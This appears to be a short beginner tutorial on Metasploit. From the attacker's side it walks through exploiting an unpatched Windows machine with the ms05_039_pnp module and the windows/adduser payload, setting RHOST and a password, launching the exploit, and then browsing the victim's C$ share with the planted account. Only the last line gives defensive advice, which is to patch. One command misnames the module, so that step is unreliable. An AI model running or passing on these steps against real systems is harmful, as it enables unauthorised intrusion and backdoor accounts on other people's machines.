Tutorial on Metasploit

Download this software here http://www.metasploit.com/ ___________________________________________ Let ** The attacker computer be (Linux Backtrack 4) ** The victim computer will be ___________________________________________ Open the Metasploit

The first command that will be entered to the shell is ** show exploits ___________________________________________

Basically,this command will show all the exploits that can be used by the attacker. Press ENTER and all the exploits will be shown to the attacker. ___________________________________________

Now,the attacker is going to choose the exploit. In this case,the attacker will use ms05_039_pnp exploit.

The command to use the exploit is ** use ms_035_pnp Press ENTER and the exploit will be used. ___________________________________________

Now,we are going to see what the exploit can do for the attacker. The attacker will now issues this command ** show payloads Press on ENTER and all the payloads will be shown to the attacker. ___________________________________________

In this case,the attacker is going to add an user to the victim computer. The command that will be issues is ** set payload windows/adduser Press on ENTER and that payload will be used.


The next thing that the attacker needs to do is set the target. The attacker now needs to issues this command to see the target list ** show targets

After the attacker has determine the target,the next thing is to set the target. The command that can be used is ** set target 0 The number will be according to the victim operating system. ___________________________________________

The next steps will be show the fields that need to fill up by the attacker. The command will be ** show options

There will be empty fields that need to be filled by the attacker.

In this case,the empty fields are RHOST and PASS. RHOST stands for Remote Host (victim IP address). PASS stands for Password. To set both of them,the commands are ** set RHOST ** set PASS 12345 ___________________________________________

The attacker is setting remote host. The attacker is setting Password. ___________________________________________

Finally,the last command that need to be used is ** exploit The exploit command will call Metasploit to launch the attack to the victim. Press ENTER and Metasploit will launch the attack. ___________________________________________

Now the attacker know that he has an account at the victim machine. Account information: username = Metasploit password = 12345


Now it is the time for the attacker to enter the victim machine. The attacker will open up a RUN box. In the RUN box,the attacker will type in ** \\\c$

Press ENTER and a login prompt will pop up. Attacker needs to enter the username and password for the victim machine. In this case,the username and password are Metasploit and 12345. ___________________________________________

Press ENTER and the attacker is in the victim machine. ___________________________________________

The above picture shows that the attacker is in the C drive of victim machine. ___________________________________________ What can a victim see on his machine? If the victim launch a Command Prompt and type in ** net user The result will be

The username "metasploit" is there. That is the username that the attacker created. ___________________________________________

The attacker can does anything he wants when he is in the C drive. The solution will be patching your operating system with the latest security hot-fix from the vendor.

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